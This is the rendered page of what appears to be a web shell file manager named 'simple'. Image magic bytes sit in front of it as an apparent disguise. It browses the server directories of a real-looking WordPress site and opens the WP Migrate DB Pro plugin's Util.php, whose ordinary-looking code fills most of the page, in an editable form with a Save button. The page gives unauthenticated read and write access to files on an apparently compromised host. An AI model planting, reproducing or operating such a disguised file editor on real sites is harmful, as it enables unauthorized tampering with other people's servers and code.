�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2F'>httpdocs</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fwp-migrate-db-pro%2F'>wp-migrate-db-pro</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fwp-migrate-db-pro%2Fclass%2F'>class</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fwp-migrate-db-pro%2Fclass%2FCommon%2F'>Common</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fwp-migrate-db-pro%2Fclass%2FCommon%2FTransfers%2F'>Transfers</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fwp-migrate-db-pro%2Fclass%2FCommon%2FTransfers%2FFiles%2F'>Files</a>/</p><hr><h3>✏️ Editing: Util.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

namespace DeliciousBrains\WPMDB\Common\Transfers\Files;

use DeliciousBrains\WPMDB\Common\Error\ErrorLog;
use DeliciousBrains\WPMDB\Common\Filesystem\Filesystem;
use DeliciousBrains\WPMDB\Common\Http\Helper;
use DeliciousBrains\WPMDB\Common\Http\Http;
use DeliciousBrains\WPMDB\Common\Http\RemotePost;
use DeliciousBrains\WPMDB\Common\MigrationPersistence\Persistence;
use DeliciousBrains\WPMDB\Common\MigrationState\MigrationStateManager;
use DeliciousBrains\WPMDB\Common\Settings\Settings;
use DeliciousBrains\WPMDB\Common\Util\ZipAndEncode;
use DeliciousBrains\WPMDB\Common\Util\Util as Common_Util;
use DeliciousBrains\WPMDB\Pro\Transfers\Receiver;
use DirectoryIterator;

class Util
{

    public $filesystem;
    /**
     * @var Http
     */
    private $http;
    /**
     * @var ErrorLog
     */
    private $error_log;
    /**
     * @var Helper
     */
    private $http_helper;
    /**
     * @var RemotePost
     */
    private $remote_post;
    /**
     * @var Settings
     */
    private $settings;
    /**
     * @var MigrationStateManager
     */
    private $migration_state_manager;
    /**
     * @var \DeliciousBrains\WPMDB\Common\Util\Util
     */
    private $util;

    public function __construct(
        Filesystem $filesystem,
        Http $http,
        ErrorLog $error_log,
        Helper $http_helper,
        RemotePost $remote_post,
        Settings $settings,
        MigrationStateManager $migration_state_manager,
        \DeliciousBrains\WPMDB\Common\Util\Util $util
    ) {
        $this-&gt;filesystem              = $filesystem;
        $this-&gt;http                    = $http;
        $this-&gt;error_log               = $error_log;
        $this-&gt;http_helper             = $http_helper;
        $this-&gt;remote_post             = $remote_post;
        $this-&gt;settings                = $settings-&gt;get_settings();
        $this-&gt;migration_state_manager = $migration_state_manager;
        $this-&gt;util                    = $util;

        add_filter( &#039;wpmdb_theoretical_transfer_bottleneck&#039;, function ( $bottleneck ) {
            return $this-&gt;get_transfer_bottleneck();
        } );
    }

    public function get_remote_files(array $directories, $action, $excludes, $date = null, $timezone = null)
    {
        // POST to remote to get list of files
        $state_data = $this-&gt;migration_state_manager-&gt;set_post_data();

        $data             = array();
        $data[&#039;action&#039;]   = $action;
        $data[&#039;intent&#039;]   = $state_data[&#039;intent&#039;];
        $data[&#039;folders&#039;]  = json_encode($directories);
        $data[&#039;excludes&#039;] = json_encode($excludes);
        $data[&#039;stage&#039;]    = $state_data[&#039;stage&#039;];
        $data[&#039;is_cli_migration&#039;] = isset($state_data[&#039;is_cli_migration&#039;]) ? (int)$state_data[&#039;is_cli_migration&#039;] : 0;
        $data[&#039;sig&#039;]              = $this-&gt;http_helper-&gt;create_signature($data, $state_data[&#039;key&#039;]);

        if (!is_null($date)) {
            $data[&#039;date&#039;] = $date;
        }

        if (!is_null($timezone)) {
            $data[&#039;timezone&#039;] = $timezone;
        }

        $ajax_url         = trailingslashit($state_data[&#039;url&#039;]) . &#039;wp-admin/admin-ajax.php&#039;;
        $response         = $this-&gt;remote_post-&gt;post($ajax_url, $data, __FUNCTION__);
        $response         = $this-&gt;remote_post-&gt;verify_remote_post_response($response);
        $response[&#039;data&#039;] = json_decode(ZipAndEncode::decode($response[&#039;data&#039;]), true);

        if (isset($response[&#039;wpmdb_error&#039;])) {
            return $response;
        }

        if (!$response[&#039;success&#039;]) {
            return $this-&gt;http-&gt;end_ajax(new \WP_Error(&#039;wpmdbtransfers_invalid_file_list&#039;, $response[&#039;data&#039;]));
        }

        return $response[&#039;data&#039;];
    }

    /**
     * @param array  $queue_status
     * @param string $action
     *
     * @return array|bool|mixed|object|string
     * @throws \Exception
     */
    public function save_queue_status_to_remote(array $queue_status, $action)
    {
        $state_data = $this-&gt;migration_state_manager-&gt;set_post_data();

        $data                    = array();
        $data[&#039;action&#039;]          = $action;
        $data[&#039;intent&#039;]          = $state_data[&#039;intent&#039;];
        $data[&#039;stage&#039;]           = $state_data[&#039;stage&#039;];
        $data[&#039;remote_state_id&#039;] = $state_data[&#039;migration_state_id&#039;];
        $data[&#039;sig&#039;]             = $this-&gt;http_helper-&gt;create_signature($data, $state_data[&#039;key&#039;]);

        $data[&#039;queue_status&#039;] = base64_encode(gzencode(json_encode($queue_status)));

        $ajax_url = trailingslashit($state_data[&#039;url&#039;]) . &#039;wp-admin/admin-ajax.php&#039;;
        $response = $this-&gt;remote_post_and_verify($ajax_url, $data);

        return $response;
    }

    /**
     * Fire POST at remote and check for the &#039;wpmdb_error&#039; key in response
     *
     * @param string $ajax_url
     * @param array  $data
     *
     * @return array|bool|mixed|object|string
     * @throws \Exception
     */
    public function remote_post_and_verify($ajax_url, $data, $headers = array())
    {
        $requests_options = $this-&gt;get_requests_options();
        $response         = null;

        try {
            $response = \Requests::post($ajax_url, $headers, $data, $requests_options);
        } catch (\Exception $e) {
            $this-&gt;catch_general_error($e-&gt;getMessage());
        }

        $response_body = json_decode($response-&gt;body, true);

        if (isset($response_body[&#039;wpmdb_error&#039;])) {
            throw new \Exception($response_body[&#039;body&#039;]);
        }

        return $response;
    }

    /**
     * @param       $msg
     * @param array $data
     *
     * @return mixed
     */
    public function ajax_error($msg, $data = array())
    {
        $this-&gt;error_log-&gt;log_error($msg, $data);

        return $this-&gt;http-&gt;end_ajax(new \WP_Error(&#039;wpmdb_transfer_error&#039;, $msg));
    }

    /**
     *
     * Handles individual file transfer errors
     *
     * @param string $message
     *
     * @return array
     */
    public function fire_transfer_errors($message)
    {
        error_log($message);
        $this-&gt;error_log-&gt;log_error($message);

        return [
            &#039;error&#039;   =&gt; true,
            &#039;message&#039; =&gt; $message,
        ];
    }

    /**
     *
     *
     * @param $message
     *
     * @return null
     */
    public function catch_general_error($message)
    {
        $return = [
            &#039;wpmdb_error&#039; =&gt; true,
            &#039;msg&#039;         =&gt; $message,
        ];

        $this-&gt;error_log-&gt;log_error($message);
        $this-&gt;http-&gt;end_ajax(json_encode($return));
    }

    /**
     * @return array
     */
    public function get_requests_options()
    {
        // Listen to SSL verify setting
        $wpmdb_settings   = $this-&gt;settings;
        $sslverify        = 1 === $wpmdb_settings[&#039;verify_ssl&#039;];
        $requests_options = [];

        // Make Requests cURL transport wait 45s for timeouts
        $hooks = new \Requests_Hooks();
        $hooks-&gt;register(
            &#039;curl.before_send&#039;,
            function ($handle) {
                $remote_cookie = Persistence::getRemoteWPECookie();
                if (false !== $remote_cookie) {
                    curl_setopt($handle, CURLOPT_COOKIE, &#039;wpe-auth=&#039; . $remote_cookie);
                }
                curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 45);
                curl_setopt($handle, CURLOPT_TIMEOUT, 45);
                curl_setopt($handle, CURLOPT_ENCODING, &#039;gzip,deflate&#039;);
            }
        );

        $requests_options[&#039;hooks&#039;] = $hooks;

        if (!$sslverify) {
            $requests_options[&#039;verify&#039;] = false;
        }

        return $requests_options;
    }

    /**
     * Check&#039;s that files migrated match the .manifest file. Always fires at the migration destination
     *
     * @param array  $files
     * @param string $stage
     *
     * @throws \Exception
     */
    public function check_manifest($files, $stage)
    {
        $failures = [];

        foreach ($files as $file) {
            $file_path = Common_Util::get_stage_base_dir($stage);
            if (!file_exists($file_path)) {
                $failures[] = $file_path;
            }
        }

        if (!empty($failures)) {
            throw new \Exception(sprintf(__(&#039;The following files failed to transfer: &lt;br&gt; %s&#039;, &#039;wp-migrate-db&#039;), implode(&#039;&lt;br&gt;&#039;, $failures)));
        }
    }

    /**
     * Merges a stored queue status (if exists) with the provided one.
     *
     * @param array $queue_status
     * @param string $stage
     * @param string $migration_state_id
     * @return array
     */
    public function concat_existing_remote_items($queue_status, $stage, $migration_state_id)
    {
        $stored_queue = $this-&gt;get_queue_status($stage, $migration_state_id);
        if (false !== $stored_queue) {
            $queue_status[&#039;total&#039;] += $stored_queue[&#039;total&#039;];
            $queue_status[&#039;size&#039;] += $stored_queue[&#039;size&#039;];
            $queue_status[&#039;manifest&#039;] = array_merge($stored_queue[&#039;manifest&#039;], $queue_status[&#039;manifest&#039;]);

            $this-&gt;remove_tmp_folder($stage);
        }

        return $queue_status;
    }

    /**
     * Saves queue data to the manifest file
     *
     * @param array $data
     * @param       $stage
     * @param string $migration_state_id
     * @param bool $full_site_export
     *
     * @return bool|int
     * @throws \Exception
     */
    public function save_queue_status(array $data, $stage, $migration_state_id, $full_site_export = false)
    {
        $tmp_path = $this-&gt;get_queue_tmp_path($stage, $full_site_export);

        if (!$this-&gt;filesystem-&gt;mkdir($tmp_path)) {
            throw new \Exception(sprintf(__(&#039;Unable to create folder for file transfers: %s&#039;), $tmp_path));
        }

        $filename = $this-&gt;get_queue_manifest_file_name($migration_state_id);
        $manifest = @file_put_contents($tmp_path . DIRECTORY_SEPARATOR . $filename, json_encode($data));

        if (!$manifest) {
            throw new \Exception(sprintf(__(&#039;Unable to create the transfer manifest file. Verify the web server can write to this file/folder: `%s`&#039;), $tmp_path . DIRECTORY_SEPARATOR . &#039;.manifest&#039;));
        }

        return $manifest;
    }

    /**
     * Get stored queue manifest array.
     *
     * @param string $stage
     * @param string $migration_state_id
     * @param bool $full_site_export
     *
     * @return array|false
     */
    public function get_queue_status($stage, $migration_state_id, $full_site_export = false)
    {
        $filename  = $this-&gt;get_queue_manifest_file_name($migration_state_id);
        $tmp_path  = $this-&gt;get_queue_tmp_path($stage, $full_site_export);
        $file_path = $tmp_path . DIRECTORY_SEPARATOR . $filename;
        $manifest  = is_file($file_path) ? @file_get_contents($file_path) : false;

        if (false !== $manifest) {
            return json_decode($manifest, true);
        }

        return false;
    }

    /**
     * Get queue tmp path.
     *
     * @param string $stage
     * @param bool $full_site_export
     * @return string
     */
    private function get_queue_tmp_path($stage, $full_site_export = false)
    {
        //@todo avoid passing full_site_export down to here.
        if ($full_site_export === true || $stage === &#039;media_files&#039;) {
            return self::get_wp_uploads_dir();
        }
        return self::get_temp_dir($stage);

    }

    /**
     * Get manifest file name.
     *
     * @param $migration_state_id
     * @return string
     */
    private function get_queue_manifest_file_name($migration_state_id)
    {
        return &#039;.&#039; . $migration_state_id . &#039;-manifest&#039;;
    }

    public function cleanup_media_migration()
    {
        $uploads = self::get_wp_uploads_dir();
        $this-&gt;remove_manifests($uploads);

        return true;
    }

    /**
     * Will look for a tmp folder to remove based on the $stage param (themes, plugins)
     *
     * @param $stage
     *
     * @return bool
     */
    public function remove_tmp_folder($stage)
    {
        $fs = $this-&gt;filesystem;

        if ($stage === &#039;media_files&#039;) {
            return $this-&gt;cleanup_media_migration();
        }

        $tmp_folder = self::get_temp_dir($stage);
        if ($fs-&gt;file_exists($tmp_folder)) {
            if ($fs-&gt;is_dir($tmp_folder)) {
                return $fs-&gt;rmdir($tmp_folder, true);
            }
        }

        return true;
    }

    /**
     *
     * Verify a file is the correct size
     *
     * @param string $filepath
     * @param int    $expected_size
     *
     * @return bool
     */
    public function verify_file($filepath, $expected_size)
    {
        if (!file_exists($filepath)) {
            return false;
        }

        $filesystem_size = filesize($filepath);
        if ($filesystem_size !== (int)$expected_size) {
            return false;
        }

        return true;
    }

    public function enqueue_files($files, $queue_manager)
    {
        foreach ($files as $file) {
            $queue_manager-&gt;enqueue_file($file);
        }
    }

    /**
     * Determine folder tranferred numbers for client.
     *
     * @param array $data
     * @param int   $bytes_transferred
     * @param array $state_data
     *
     * @return array
     */
    public function process_queue_data($data, $state_data, $bytes_transferred = 0)
    {
        $result_set = [];

        if (empty($data)) {
            return array($result_set, 0);
        }


        $stage = $state_data[&#039;stage&#039;];
        // Could be empty - stores progress of folder migrations between requests. Generally, the size of batch is 100 files and each file could be from a separate folder
        $folder_transfer_status = get_site_option(&quot;wpmdb_folder_transfers_{$stage}_&quot; . $state_data[&#039;migration_state_id&#039;]);

        if (empty($folder_transfer_status)) {
            $folder_transfer_status = [];
        }

        $total_transferred      = 0;
        $batch_size             = 0;

        foreach ($data as $key =&gt; $record) {
            $is_chunked = isset($record[&#039;chunked&#039;]) &amp;&amp; $record[&#039;chunked&#039;];
            $dirname    = $record[&#039;folder_name&#039;];
            $keys       = array_keys($result_set);

            // This method is called in WPMDBPro_Theme_Plugin_Files_Local::ajax_initiate_file_migration()
            // $bytes_transferred = 0 and we don&#039;t need to iterate over _all_ the files
            if (0 === $bytes_transferred &amp;&amp; \in_array($dirname, $keys)) {
                continue;
            }

            if (0 !== $bytes_transferred) {
                if (!isset($folder_transfer_status[$dirname])) {
                    $batch_size = 0;

                    $folder_transfer_status[$dirname] = [
                        &#039;folder_transferred&#039;         =&gt; 0,
                        &#039;folder_percent_transferred&#039; =&gt; 0,
                    ];
                }

                $item_size = $record[&#039;size&#039;];

                if ($is_chunked) {
                    $item_size = $record[&#039;chunk_size&#039;];
                }

                $folder_transfer_status[$dirname][&#039;folder_transferred&#039;] += $item_size;

                if (!$is_chunked) {
                    $batch_size += $item_size;
                } else {
                    $batch_size = $item_size;
                }

                $transferred_percentage = $record[&#039;folder_size&#039;] &gt; 0 ? $folder_transfer_status[$dirname][&#039;folder_transferred&#039;] / $record[&#039;folder_size&#039;] : 0;
                $folder_transfer_status[$dirname][&#039;folder_percent_transferred&#039;] = $transferred_percentage;
            }

            $is_dir = $this-&gt;filesystem-&gt;is_dir($record[&#039;folder_abs_path&#039;] . DIRECTORY_SEPARATOR . $dirname);

            $result_set[$dirname] = [
                &#039;nice_name&#039;                  =&gt; $record[&#039;nice_name&#039;],
                &#039;relative_path&#039;              =&gt; DIRECTORY_SEPARATOR . $dirname,
                &#039;is_dir&#039;                     =&gt; $is_dir,
                &#039;absolute_path&#039;              =&gt; $record[&#039;folder_abs_path&#039;],
                &#039;item_size&#039;                  =&gt; $record[&#039;size&#039;],
                &#039;size&#039;                       =&gt; $record[&#039;folder_size&#039;],
                &#039;batch_size&#039;                 =&gt; $batch_size,
                &#039;folder_transferred&#039;         =&gt; isset($folder_transfer_status[$dirname][&#039;folder_transferred&#039;]) ? $folder_transfer_status[$dirname][&#039;folder_transferred&#039;] : 0,
                &#039;folder_percent_transferred&#039; =&gt; isset($folder_transfer_status[$dirname][&#039;folder_percent_transferred&#039;]) ? $folder_transfer_status[$dirname][&#039;folder_percent_transferred&#039;] : 0,
                &#039;total_transferred&#039;          =&gt; $bytes_transferred,
            ];
        }

        //Updates folder status transient
        $this-&gt;update_folder_status($state_data, $result_set, $bytes_transferred);

        // Maybe compute folder percent transferred here?
        return $result_set;
    }

    /**
     * @param array $state_data
     * @param array $result_set
     * @param int   $bytes_transferred
     *
     * @return bool
     */
    public function update_folder_status($state_data, $result_set, $bytes_transferred)
    {
        if (0 === $bytes_transferred) {
            return false;
        }

        $folders_in_progress = [];

        foreach ($result_set as $key =&gt; $folder) {
            if ($folder[&#039;folder_transferred&#039;] &lt; $folder[&#039;size&#039;]) {
                $folders_in_progress[$key] = $folder;
            }
        }

        $stage = $state_data[&#039;stage&#039;];
        if (empty($folders_in_progress) &amp;&amp; 0 !== $bytes_transferred) {
            delete_site_option(&quot;wpmdb_folder_transfers_{$stage}_&quot; . $state_data[&#039;migration_state_id&#039;]);
        } else {
            update_site_option(&quot;wpmdb_folder_transfers_{$stage}_&quot; . $state_data[&#039;migration_state_id&#039;], $folders_in_progress);
        }

        return true;
    }

    public function cleanup_temp_chunks($dir, $suffix)
    {
        $iterator = new DirectoryIterator($dir);

        foreach ($iterator as $fileInfo) {
            if (!$fileInfo-&gt;isDot()) {
                $name = $fileInfo-&gt;getFilename();

                if (preg_match(&quot;/(([a-z0-9]+-){5})$suffix/&quot;, $name) &amp;&amp; $fileInfo-&gt;isFile()) {
                    $this-&gt;filesystem-&gt;unlink($dir . $name);
                }
            }
        }

        return null;
    }

    public function get_folder_name($local_path, $dest_path, $temp_path, $manifest)
    {
        $last = basename(str_replace(&#039;\\&#039;, &#039;/&#039;, $local_path));

        if ($this-&gt;filesystem-&gt;file_exists($temp_path . $last)) {
            return $last;
        }

        foreach ($manifest as $key =&gt; $item) {
            $manifest_item = explode(DIRECTORY_SEPARATOR, $item);
            unset($manifest_item[count($manifest_item) - 1]);
            $imploded = implode(DIRECTORY_SEPARATOR, $manifest_item);

            if (stripos($item, &#039;style.css&#039;) !== false &amp;&amp; stripos($local_path, $imploded) !== false) {
                $pieces = explode(DIRECTORY_SEPARATOR, $item);

                if (isset($pieces[1]) &amp;&amp; $this-&gt;filesystem-&gt;file_exists($temp_path . $pieces[1])) {
                    return $pieces[1];
                }
            }
        }

        return false;
    }

    public function load_manifest($stage, $migration_id)
    {
        $filename      = &#039;.&#039; . $migration_id . &#039;-manifest&#039;;
        $manifest_path = self::get_temp_dir($stage) . $filename;
        $contents = file_get_contents($manifest_path);

        if (!$contents) {
            $this-&gt;http-&gt;end_ajax(new \WP_Error(&#039;wpmdb_load_manifest_failed&#039;, __(&quot;Failed to load manifest file.&quot;)));
        }

        $queue_info = json_decode($contents, true);

        if (!$queue_info) {
            $this-&gt;http-&gt;end_ajax(new \WP_Error(&#039;wpmdb_parse_manifest_failed&#039;, __(&quot;Failed to parse manifest file.&quot;)));
        }

        return $queue_info;
    }

    /**
     * Process data
     *
     * @param array $data
     *
     * @return array
     */
    public function process_file_data($data)
    {
        $result_set = [];

        if (!empty($data)) {
            foreach ($data as $size =&gt; $record) {
                $display_path                  = $record-&gt;file[&#039;subpath&#039;];
                $record-&gt;file[&#039;relative_path&#039;] = $display_path;

                $result_set[] = $record-&gt;file;
            }
        }

        return $result_set;
    }

    public static function get_wp_uploads_dir()
    {
        $upload_info = wp_get_upload_dir();

        return $upload_info[&#039;basedir&#039;];
    }

    /**
     * @param $directory
     */
    public function remove_manifests($directory)
    {
        $iterator = new DirectoryIterator($directory);

        foreach ($iterator as $fileInfo) {
            if (!$fileInfo-&gt;isDot()) {
                $name = $fileInfo-&gt;getFilename();

                if (preg_match(&quot;/(([a-z0-9]+-){5})manifest/&quot;, $name) &amp;&amp; $fileInfo-&gt;isFile()) {
                    $this-&gt;filesystem-&gt;unlink($directory . DIRECTORY_SEPARATOR . $name);
                }
            }
        }
    }

    /**
     *
     * @return int
     */
    public function get_transfer_bottleneck()
    {
        $bottleneck = $this-&gt;util-&gt;get_max_upload_size();

        // Subtract 250 KB from min for overhead
        $bottleneck -= 250000;

        return $bottleneck;
    }

    /**
     * Enables the bottleneck-ed recursive file scanner.
     */
    public static function enable_scandir_bottleneck() {
        add_filter(&#039;wpmdb_bottleneck_dir_scan&#039;, function ($bottleneck) {
            return true;
        });
    }

    /**
     * @param string $base
     *
     * @return array
     */
    public function is_tmp_folder_writable( $base = &#039;theme_files&#039; ) {
        $options_to_dirs = [
            &#039;theme_files&#039;    =&gt; &#039;themes&#039;,
            &#039;plugin_files&#039;   =&gt; &#039;plugins&#039;,
            &#039;muplugin_files&#039; =&gt; &#039;muplugins&#039;,
            &#039;other_files&#039;    =&gt; &#039;others&#039;
        ];
        $tmp          = self::get_temp_dir($options_to_dirs[$base]);
        $test_file    = $tmp . &#039;/test.php&#039;;
        $renamed_file = $tmp . &#039;/test-2.php&#039;;

        $return = [
            &#039;status&#039; =&gt; true,
        ];

        if ( ! $this-&gt;filesystem-&gt;mkdir( $tmp ) ) {
            $message = sprintf( __( &#039;File transfer error - Unable to create a temporary folder. (%s)&#039;, &#039;wp-migrate-db&#039; ), $tmp );
            $this-&gt;error_log-&gt;log_error( $message );

            return [
                &#039;status&#039;  =&gt; false,
                &#039;message&#039; =&gt; $message,
            ];
        }

        if ( method_exists(&#039;WpeCommon&#039;, &#039;get_wpe_auth_cookie_value&#039;) ) {
            return $return;
        }

        if ( ! $this-&gt;filesystem-&gt;touch( $test_file ) ) {
            $message = sprintf( __( &#039;File transfer error - Unable to create a PHP file on the server. (%s)&#039;, &#039;wp-migrate-db&#039; ), $test_file );
            $this-&gt;error_log-&gt;log_error( $message );

            return [
                &#039;status&#039;  =&gt; false,
                &#039;message&#039; =&gt; $message,
            ];
        }

        if ( ! file_put_contents( $test_file, &#039;test&#039; ) ) {
            $message = sprintf( __( &#039;File transfer error - Unable to update file contents using using PHP\&#039;s file_put_contents() function. (%s)&#039;, &#039;wp-migrate-db&#039; ), $test_file );
            $this-&gt;error_log-&gt;log_error( $message );

            return [
                &#039;status&#039;  =&gt; false,
                &#039;message&#039; =&gt; $message,
            ];
        }

        if ( ! rename( $test_file, $renamed_file ) ) {
            $message = sprintf( __( &#039;File transfer error - Unable to move file to the correct location using PHP\&#039;s rename() function. (%s)&#039;, &#039;wp-migrate-db&#039; ), $renamed_file );
            $this-&gt;error_log-&gt;log_error( $message );

            return [
                &#039;status&#039;  =&gt; false,
                &#039;message&#039; =&gt; $message,
            ];
        }

        //Clean up
        if ( ! $this-&gt;remove_tmp_folder( $options_to_dirs[$base] ) ) {
            $message = sprintf( __( &#039;File transfer error - Unable to delete file using PHP\&#039;s unlink() function. (%s)&#039;, &#039;wp-migrate-db&#039; ), $renamed_file );
            $this-&gt;error_log-&gt;log_error( $message );

            return [
                &#039;status&#039;  =&gt; false,
                &#039;message&#039; =&gt; $message,
            ];
        }

        return $return;
    }


    /**
     * Where to store files as they&#039;re being transferred
     *
     * @param string $stage
     * @return bool|mixed|void
     */
    public static function get_temp_dir($stage) {
        $temp_dir = Common_Util::get_stage_base_dir($stage) . DIRECTORY_SEPARATOR . &#039;tmp&#039; . DIRECTORY_SEPARATOR;
        return apply_filters(&#039;wpmdb_transfers_temp_dir&#039;, $temp_dir);
    }

    /**
     * Sanitizes a provided file path.
     * If the filename includes a path, it will get split and only the last part will be sanitized.
     *
     * @param string $file_path
     *
     * @return string
     */
    public static function sanitize_file_path($file_path) {
        //split path
        $split = explode(DIRECTORY_SEPARATOR, $file_path);

        //sanitize last part
        $file_path = array_pop($split);
        $split[]   = sanitize_file_name($file_path);
        return implode(DIRECTORY_SEPARATOR, $split);
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fwp-migrate-db-pro%2Fclass%2FCommon%2FTransfers%2FFiles'>🔙 Back</a></p>